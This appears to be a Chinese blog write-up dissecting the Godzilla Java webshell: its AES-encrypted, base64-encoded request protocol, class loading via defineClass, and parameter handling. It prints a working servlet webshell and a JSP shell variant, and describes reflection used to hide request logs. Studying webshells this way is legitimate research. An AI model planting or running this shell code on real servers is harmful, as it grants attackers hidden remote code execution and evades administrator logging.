分析背景

起源于Y4er师傅发的两篇文章:

对其中的原因比较好奇,所以尝试对哥斯拉做了一次原理分析,测试代码在MemoryShellDemo。文章可能有错误的地方,可以在issue留言。

运行原理

从哥斯拉的源代码里面扣出来godzilla\shells\payloads\java\assets\payload.classs文件,使用https://github.com/leibnitz27/cfr反编译之后,在idea里面新建payload.java文件,然后修改误报错,这里是反编译好之后的文件。payload.java实现了大部分的shell操作,比如查看文件、执行命令、数据库连接等等

新建一个HelloServlet.java,用于动态调试:

package basic;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    String xc = "3c6e0b8a9c15224a";  //定义AES加解密的Key,哥斯拉会把返回的response也做一次加密
    String pass = "pass";       
    String md5 = md5(pass + xc);   //用于返回response在头和尾部插入标识符,头部取md5的前16位字符串,尾部取md5的后16位字符串
    Class payload;

    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }

    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }

    public byte[] x(byte[] s, boolean m) {  
        try {
            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //根据m的值判断是加密还是解密,m是true的时候变量为1,这时候表示加密模式,反之是解密模式
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    public Class defClass(byte[] classBytes) throws Throwable {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defMethod.setAccessible(true);
        return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            byte[] data = base64Decode(req.getParameter(pass));
            data = x(data, false);
            if (payload == null) {  
                payload = defClass(data);  //用于第一次接受请求初始化payload
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                resp.getWriter().write(String.valueOf(arrOut));
                resp.getWriter().write("\n");
//                Object f = payload.newInstance(); 
                Object f = ((Class) Class.forName("basic.payload")).newInstance(); //本地加载payload,用于动态调试
                f.equals(arrOut);
                f.equals(data);
                f.equals(req);
                resp.getWriter().write(md5.substring(0, 16));
                f.toString();
                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                resp.getWriter().write(md5.substring(16));
            }
        } catch (Throwable e) {
        }
    }
}

在哥斯拉主界面,点击测试会在burp发送两次请求,然后哥斯拉会弹框出现Success,这时候再点击确定,哥斯拉会发起第三次请求,先分析这三次请求的数据包以及哥斯拉都做了什么事情。

第一次请求

根据上面HelloServlet.java源代码,可以看到哥斯拉在传输过程中使用了AES加解密,在服务端先base64解码,然后AES解密数据包:

把burp的数据包复制之后,本地解密看看是什么内容:

可以从图里看出来大概是个Class文件,保存到本地之后,反编译可以之后会发现这个代码和payload.java除了类名不同,功能代码上完全一样。哥斯拉实现的这部分代码在JavaShell.class里面:

public synchronized String randomName() {
        final String[] classNames = (String[])this.dynamicClassNameSet.toArray(new String[0]);
        String className = null;
        if (classNames.length > 0) {
            final int index = functions.randomInt(0, classNames.length);
            className = classNames[index];
            this.dynamicClassNameSet.remove(className);
        }
        return className;
    }
    
public byte[] dynamicUpdateClassName(final String protoName, byte[] classContent) {
    try {
        final CtClass ctClass = ClassPool.getDefault().makeClass(new ByteArrayInputStream(classContent));
        final String className = this.randomName();
        ctClass.setName(className);
        this.dynamicClassNameHashMap.put(protoName, className);
        Log.log("%s ----->>>>> %s", protoName, className);
        classContent = ctClass.toBytecode();
        ctClass.detach();
        return classContent;
    }
    catch (Exception e) {
        Log.error(e);
        this.dynamicClassNameHashMap.put(protoName, protoName);
        return classContent;
    }
}

主要功能是动态改变payload.class的类名,会从classNames.txt里面随机选取一个名字:

这是第一个请求的发送流程,做了两件事:

  1. 把哥斯拉里面的payload.class更新为随机的类名,然后AES加密再经过base64发送到服务端的shell
  2. 服务端的shell解码解密之后,调用defineClass加载到JVM,初始化payload变量

关于defineClass的用法,可以看官方的代码注释,负责把byte[]转换为Class:

However, some classes may not originate from a file; they may originate from other sources, such as the network, or they could be constructed by an application. The method {@link #defineClass(String, byte>[], int, int) defineClass} converts an array of bytes into an instance of class Class. Instances of this newly defined class can be created using {@link Class#newInstance Class.newInstance}.

第二次请求

第二次请求,按照同样的方式解密数据包,会发现出来的是一堆乱码:

不要慌,先保存到本地,然后重命名为gz文件,再使用gunzip解压之后查看文件,文件内容是methodNametest
在哥斯拉源代码里面,可以扣出来相关实现:

@Override
public boolean test() {
    final ReqParameter parameter = new ReqParameter();
    final byte[] result = this.evalFunc(null, "test", parameter);
    final String codeString = new String(result);
    if (codeString.trim().equals("ok")) {
        return this.isAlive = true;
    }
    Log.error(codeString);
    return false;
}

@Override
public void fillParameter(final String className, final String funcName, final ReqParameter parameter) {
    if (className != null && className.trim().length() > 0) {
        parameter.add("evalClassName", this.getClassName(className));
    }
    parameter.add("methodName", funcName);
}

@Override
public byte[] evalFunc(final String className, final String funcName, final ReqParameter parameter) {
    this.fillParameter(className, funcName, parameter); //组装参数methodNametest
    byte[] data = parameter.formatEx();
    data = functions.gzipE(data); //gzip压缩加密
    return functions.gzipD(this.http.sendHttpResponse(data).getResult()); //发送请求之后接收数据,然后解密解压缩
}

哥斯拉客户端的流程:先在本地组装本次请求的参数,压缩之后加密发送到服务端。

此时在打个断点做一次调试看看:

f.equals(arrOut)

第一次进入到payload的equals函数,arrOut是ByteArrayOutputStream变量,传递给this.outputStream,初始化一个输出对象,用于获取payload执行结果,最终返回给客户端。

f.equals(data)

data是哥斯拉客户端传递给服务端的数据,服务端先进行解密,然后进入f.equals(data)函数,然后进入handle()函数进行变量初始化操作:

上述操作完成之后,进入this.formatParameter()函数,对上一步获取到的this.requestData解压缩之后循环判断哥斯拉传递过来的数据,最后放到this.paramterMap:

第二次的equals完成了对哥斯拉传递过来数据的初始化,最终放到this.paramterMap保存。

f.equals(req)


第三次equals的时候执行f.equals(req),进入到handle()函数,填充this.servletRequest对象:

...
if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
    this.servletRequest = obj;
} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
    this.servletRequest = obj;
}
 ...

然后进入this.handlePayloadContext()利用payload.class里面定义好的反射函数,获取servletRequest, servletContext, httpSession对象,然后填充给payload变量:
this.servletRequestthis.servletContextthis.httpSession

继续跟进判断this.servletRequest不为空的时候,尝试获取servletRequest里面的parameters对象,经过判断之后赋给this.requestData

这里之所以又填充一次this.requestData变量,是为了兼容性考虑,比如在Spring里面直接写servlet,经过第二次的equals()就填充了this.requestData对象,但是在JSP里面,是利用
request.setAttribute("parameters", data);来走到上面这一步填充this.requestData对象,这也是哥斯拉对servlet没有依赖的主要原因。

  @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            byte[] data = base64Decode(req.getParameter(pass));
            data = x(data, false);
            if (payload == null) {
                payload = defClass(data);
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
//                Object f = payload.newInstance();
                Object f = ((Class) Class.forName("basic.payload")).newInstance();
                f.equals(arrOut);
                f.equals(data);
                f.equals(req);
                ...

在JSP里面解析pageContext对象:

<%
    try {
        byte[] data = base64Decode(request.getParameter(pass));
        data = x(data, false);
        if (session.getAttribute("payload") == null) {
            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
            Object f = ((Class) Class.forName("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0, 16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
            response.getWriter().write(md5.substring(16));
        }
    } catch (Exception e) {
    }
%>

接着会走到nolog里面,利用反射隐藏请求的日志。这里应该是只隐藏在tomcat下的日志,未测试。

f.toString()

this.paramterMap里面获取要执行的模块参数等变量,然后进入this.run()执行payload.class定义好的shell功能:

第三次请求是调用了methodNameClose函数,不再分析。整个流程分析下来会发现哥斯拉一开始就把一个大马的功能实现发送到了服务端,之后的功能都是通过调用大马实现好的功能完成的。

至此Y4er师傅的文章算是看懂了:解决哥斯拉内存马pagecontext的问题

在Spring里面的三个equeals:

  • f.equals(arrOut) 必须的,使用ByteArrayOutputStream返回执行的结果
  • f.equals(data) 必须的,接收客户端传过来的参数
  • f.equals(req) 非必要,对于Spring的Servlet是非必要的,用于隐藏日志。

所以在Spring里面的Servlet,第三个equals去掉不影响正常shell功能。

参考链接

⬆︎TOP